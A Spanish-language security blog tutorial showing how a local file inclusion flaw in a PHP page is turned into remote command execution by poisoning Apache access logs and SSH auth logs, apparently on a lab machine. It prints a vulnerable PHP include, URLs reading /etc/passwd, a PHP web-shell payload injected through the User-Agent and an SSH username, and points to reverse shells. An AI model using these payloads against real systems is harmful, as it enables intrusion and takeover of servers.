Power belongs to the people who take it

LFI to RCE – Envenenando SSH y Apache logs

En este post veremos cómo aprovechar un archivo php que nos permite LFI para conseguir RCE a través de envenenamiento de logs o más conocido como Log Poisoning.

Si no sabes qué es LFI (Local File Inclusion) te recomiendo que leas antes mi post: LFI Cheat Sheet

Poisoning Apache Logs

Para poder usar esta técnica necesitaremos LFI en el objetivo, es decir poder acceder a archivos del sistema.
En este caso tenemos una web que esta pensada para poder leer ciertos archivos.

En este caso, no existe ninguna restricción así que podremos acceder a cualquier archivo del sistema.
El segundo paso sera identificar el sistema operativo del objetivo o manualmente encotrar el archivo access log de Apache.

  • RHEL / Red Hat / CentOS / Fedora Linux Apache access file location – /var/log/httpd/access_log
  • FreeBSD Apache access log file location – /var/log/httpd-access.log
  • Debian / Ubuntu Linux Apache access log file location – /var/log/apache2/access.log

En este caso el objetivo era un FreeBSD luego el archivo que nos interesa es /var/log/httpd-access.log
Además el archivo que nos permite el LFI (browse.php) no tiene ninguna restricción y nos podemos acceder a todos los archivos del sistema, su código es:

<?php
include($_GET['file']);
?>

Tal y como vemos en el gif, la web nos permite ver archivos sensibles del sistema:

http://ironpoison.com/browse.php?file=/etc/passwd
http://ironpoison.com/browse.php?file=/var/log/httpd-access.log

Utilizando BurpSuite interceptamos una request:

Utilizamos ‘Send to Repiter’ para poder editar la petición. El siguiente paso es hacer la petición a

/browse.php?file=/var/log/httpd-access.log

Cambiamos el User-Agent:

Añadiendo en el lugar del recuadro:

<?php system($_GET['cmd']); ?>


El siguente paso sera hacer la request añadiendo al final de esta
&cmd=[COMANDO] y quedaria tal que asi, por ejemplo:

http://ironpoison.com/browse.php?file=/var/log/httpd-access.log&cmd=id

Cómo vemos en la imagen podemos ejecutar comandos. Vamos a intentar conseguir shell reversa. Utilizaremos por ejemplo la shell de Netcat, podéis ver todas las shell reversas que podemos usar (a veces una no funciona pero otras si) en: Shells Reversas

Tal y como se ve en el gif lo único que hay que hacer es iniciar una escucha en el puerto que queramos y ejecutar la request con la shell reversa como comando, recordad codificar la petición (url encode) que con la utilidad ‘convert’ de Burpsuite lo hacemos fácilmente. ‘Go’ y ya tenemos shell.

Poisoning SSH Logs

Esta técnica es casi igual a la anterior, pero utilizando el archivo logs del SSH en vez del de apache.

/var/log/auth.log

Si intentamos acceder al ssh, se reflejara el intento en dicho archivo:


Ahora vamos a intentar acceder al SSH con el siguiente user:

ssh '<?php system($_GET['cmd']); ?>'@10.10.10.84


Ahora podremos ejecutar comandos con peticiones del tipo:

http://ironpoison.com/browser.php?file=/var/log/auth.log&cmd=id

El siguiente paso, como antes sera sacar shell reversa:

¿Me ayudas a compatirlo?

1 Comment

  1. n4t4s

    Para el envenenamiento en ssh tambien se debe de modificar el user-agent para conseguir la shell inversa o ya no es necesario

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.

© 2024 ironHackers

Theme by Anders NorenUp ↑